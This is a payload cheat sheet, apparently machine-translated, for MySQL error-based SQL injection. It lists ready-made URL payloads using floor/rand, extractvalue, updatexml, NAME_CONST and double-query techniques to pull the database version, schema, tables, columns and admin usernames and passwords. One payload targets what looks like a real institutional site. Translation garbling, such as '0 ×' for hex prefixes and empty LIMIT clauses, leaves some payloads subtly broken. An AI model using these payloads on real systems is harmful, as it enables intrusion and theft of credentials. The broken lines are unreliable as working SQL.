MySQL brute-force and error injection methods

1. floor brute-force Error

/* Database version */

Http://www.bkjia.com/ SQL .php? Id = 1 + and (select 1 from (select count (*), concat (select concat (0x7e, version (), 0x7e ))) from information_schema.tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x))

/* Simple Method */

Http://www.bkjia.com/ SQL .php? Id = info ()

/* Connect to the user */

Http://www.bkjia.com/ SQL .php? Id = 1 + and (select 1 from (select count (*), concat (select concat (0x7e, user (), 0x7e ))) from information_schema.tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x))

/* Connect to the database */
Http://www.bkjia.com/ SQL .php? Id = 1 + and (select 1 from (select count (*), concat (select concat (0x7e, database (), 0x7e ))) from information_schema.tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x))

/* Brute-force database */
Http://www.bkjia.com/ SQL .php? Id = 1 + and (select 1 from (select count (*), concat (select distinct concat (0x7e, schema_name, 0x7e) FROM information_schema.schemata LIMIT 0, 1 )) from information_schema.tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x))

/* Violent table */
Http://www.bkjia.com/ SQL .php? Id = 1 + and (select 1 from (select count (*), concat (select distinct concat (0x7e, table_name, 0x7e) FROM information_schema.tables where table_schema = database () LIMIT 0, 1) from information_schema.tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x))

/* Violent field */
Http://www.bkjia.com/ SQL .php? Id = 1 + and (select 1 from (select count (*), concat (select distinct concat (0x7e, column_name, 0x7e) FROM information_schema.columns where table_name = 0x61646D696E LIMIT) from information_schema.tables limit), floor (rand (0) * 2) x from information_schema.tables group by x))

/* Violent content */
Http://www.bkjia.com/ SQL .php? Id = 1 + and (select 1 from (select count (*), concat (select distinct concat (0 × 23, username, 0x3a, password, 0 × 23) FROM admin limit 0, 1) from information_schema.tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x))

2. ExtractValue (with a length limit, up to 32 bits)

Http://www.bkjia.com/ SQL .php? Id = 1 + and extractvalue (1, concat (0x7e, (select @ version), 0x7e ))
Http://www.bkjia.com/ SQL .php? Id = 1 + and extractvalue (1, concat (0x7e, (SELECT distinct concat (0 × 23, username, 0x3a, password, 0 × 23) FROM admin limit 0, 1 )))

3. UpdateXml (maximum length: 32 bits)

Http://www.bkjia.com/ SQL .php? Id = 1 + and updatexml (1, concat (0x7e, (SELECT @ version), 0x7e), 1)

Http://www.bkjia.com/ SQL .php? Id = 1 + and updatexml (1, concat (0x7e, (SELECT distinct concat (0 × 23, username, 0x3a, password, 0 × 23) FROM admin limit 0, 1 ), 0x7e), 1)

4. NAME_CONST (applicable to earlier versions)

Http://wlkc.zjtie.edu.cn/qcwh/content/detail.php? Id = 330 & sid = 19 & cid = 261 + and + 1 = (select + * + from + (select + NAME_CONST (version (), 1 ), NAME_CONST (version (), 1) + as + x )-

5. Error based Double Query Injection

Http://www.vaibs.in/error-based-double-query-injection)

/* Database version */

Http://www.bkjia.com/ SQL .php? Id = 1 + or + 1 + group + by + concat_ws (0x7e, version (), floor (rand (0) * 2) + having + min (0) + or + 1